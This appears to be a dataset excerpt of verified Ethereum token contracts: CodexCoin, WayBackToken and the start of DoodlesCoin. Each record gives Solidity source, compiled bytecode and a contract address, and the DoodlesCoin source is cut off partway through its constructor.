_value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/CodexCoin.sol contract CodexCoin is PausableToken { /* solium-disable uppercase */ uint8 constant public decimals = 18; string constant public name = "CodexCoin"; string constant public symbol = "CODX"; /* solium-enable */ constructor(uint256 _totalSupply) public { totalSupply_ = _totalSupply; balances[msg.sender] = totalSupply_; } /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806317ffc320146101eb57806318160ddd1461022e57806323b872dd14610259578063313ce567146102de5780633f4ba83a1461030f5780635c975abb14610326578063661884631461035557806370a08231146103ba5780638456cb59146104115780638da5cb5b1461042857806395d89b411461047f578063a9059cbb1461050f578063d73dd62314610574578063dd62ed3e146105d9578063f2fde38b14610650575b600080fd5b34801561010257600080fd5b5061010b610693565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106cc565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106fc565b005b34801561023a57600080fd5b50610243610937565b6040518082815260200191505060405180910390f35b34801561026557600080fd5b506102c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610941565b604051808215151515815260200191505060405180910390f35b3480156102ea57600080fd5b506102f3610973565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031b57600080fd5b50610324610978565b005b34801561033257600080fd5b5061033b610a38565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a4b565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7b565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b50610426610ac3565b005b34801561043457600080fd5b5061043d610b84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048b57600080fd5b50610494610baa565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d45780820151818401526020810190506104b9565b50505050905090810190601f1680156105015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051b57600080fd5b5061055a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be3565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b506105bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c13565b604051808215151515815260200191505060405180910390f35b3480156105e557600080fd5b5061063a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c43565b6040518082815260200191505060405180910390f35b34801561065c57600080fd5b50610691600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cca565b005b6040805190810160405280600981526020017f436f646578436f696e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106ea57600080fd5b6106f48383610e22565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561075a57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156107f557600080fd5b505af1158015610809573d6000803e3d6000fd5b505050506040513d602081101561081f57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108f757600080fd5b505af115801561090b573d6000803e3d6000fd5b505050506040513d602081101561092157600080fd5b8101908080519060200190929190505050505050565b6000600154905090565b6000600360149054906101000a900460ff1615151561095f57600080fd5b61096a848484610f14565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d457600080fd5b600360149054906101000a900460ff1615156109ef57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610a6957600080fd5b610a7383836112ce565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b1f57600080fd5b600360149054906101000a900460ff16151515610b3b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f434f44580000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610c0157600080fd5b610c0b838361155f565b905092915050565b6000600360149054906101000a900460ff16151515610c3157600080fd5b610c3b838361177e565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d6257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f9e57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561102957600080fd5b61107a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111de82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113df576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611473565b6113f2838261197a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561159c57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115e957600080fd5b61163a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116cd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061180f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561198857fe5b818303905092915050565b600081830190508281101515156119a657fe5b809050929150505600a165627a7a7230582000b8f87c12c7ee39be25557c384332b6030187048f3f4326576421274e54c95e0029
[ 16 ]
0xf226fd053b0e942e9f96ba9981b657c032a6ccf0
pragma solidity ^0.4.4; contract AbstractToken { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is AbstractToken { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract WayBackToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name = 'WayBack Token'; //fancy name: eg Simon Bucks uint8 public decimals = 7; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol = 'WBT'; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function WayBackToken( ) { balances[msg.sender] = 100000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000; // Update total supply (100000 for example) name = 'WayBack Token'; // Set the name for display purposes decimals = 7; // Amount of decimals for display purposes symbol = "WBT"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610953565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610966565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a04565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aea565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c50565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a6575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b25750600082115b1561094757816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094c565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109fc5780601f106109d1576101008083540402835291602001916109fc565b820191906000526020600020905b8154815290600101906020018083116109df57829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3a5750600082115b15610c4557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c4a565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e91578082015181840152602081019050610e76565b50505050905090810190601f168015610ebe5780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610ee657600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582026e478e60202ad5875cdf7ce9e35eaad54e34d59ffb944a512de758c4787e56a0029
[ 38 ]
0xf2275b9f55f9c22a480389bec9a8434b639e99db
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Pair.sol"; import "./IUniswapV2Router02.sol"; import "./IUniswapV2Factory.sol"; /* @DoodlesCoin - Website: https://doodlescoin.net/ - Telegram: https://t.me/DoodlesCoin + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + . . . ####- . . :*##: .###-...:## . . +#.:# :#+:........+#####+ . . .:#..#*=.................:#. . . .#..*:.........:.........=-.-# . . :+#-....:+**+^^+***__=**#:.*# . . .#:.....:# ^#.# . . #:....-#^ # . . #-.....# ++ + ++ . . .#.....+ +##+ .* +##+ . . #.....# ++ .######**. # ++ . . #* ^#^ *####-- ##. # . . #: #. *####-- #* # . . #. # :. .###-- -# .+ . . #. .# ###-- # # . . ^##^ # .###-- =# * . . #**#. ###-- -*+**# . . #***####**###-- +#****# . . .##*********###-- #**##. . . #************###-- #*****# . . ..:.. #*****#*******###-- #**#****###* *### . . .####*^^^^*###. ##*****#******###-- #***#***# :# # :# . . :* =#. #******#*******##-- #***#***# .# # .# .####. . . ++# ######. #- .*#####*****#*########-- #***##### .# # .# .#######. #*^ .^#+ . . +# #::::..# #.#^^ ^#**#^ ^#- #**#^ .# # .# +#^ ^# #+ #+ . . .# # # ## .##. .##. .##. # *# .##. .# # .##. -+#+. # # :######: . . .# # .# # #:::# #. #:::# ### #::::# .# # .## :#####+ #.## :... . . .# # .#. :# # .# .# # # ## #^ # .# # .## .^ .##. *#+:. .# . . .# #####^ ## # :#. .# # .# ## # #. .# # .## .=*######..##+###. .# . . .# .. .###. ### .%#. ### *#-# ### # # .##* . #### ^ .# . . #. ..:-#####* #. .*# ##. .##. :#._ _### ##. #**#. .:##. ##. -## . . ############* =######## :########- +#######^ ### ##### ^######++#^ ^#######+ . . ^*######*^ ^*##*^ ^*##*^ ^*###*^ ^##^ ^###^ ^*####*^ ^*##*^ . + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + + */ contract DoodlesCoin is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; mapping (address => bool) private _isBlacklisted; bool private _swapping; uint256 private _launchTime; address private feeWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public totalFees; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _devFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) private _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) private automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event feeWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); constructor() ERC20("DoodlesCoin", "DOODLES") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 marketingFee = 4; uint256 liquidityFee = 3; uint256 devFee = 1; uint256 totalSupply = 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; maxWallet = totalSupply * 1 / 100; 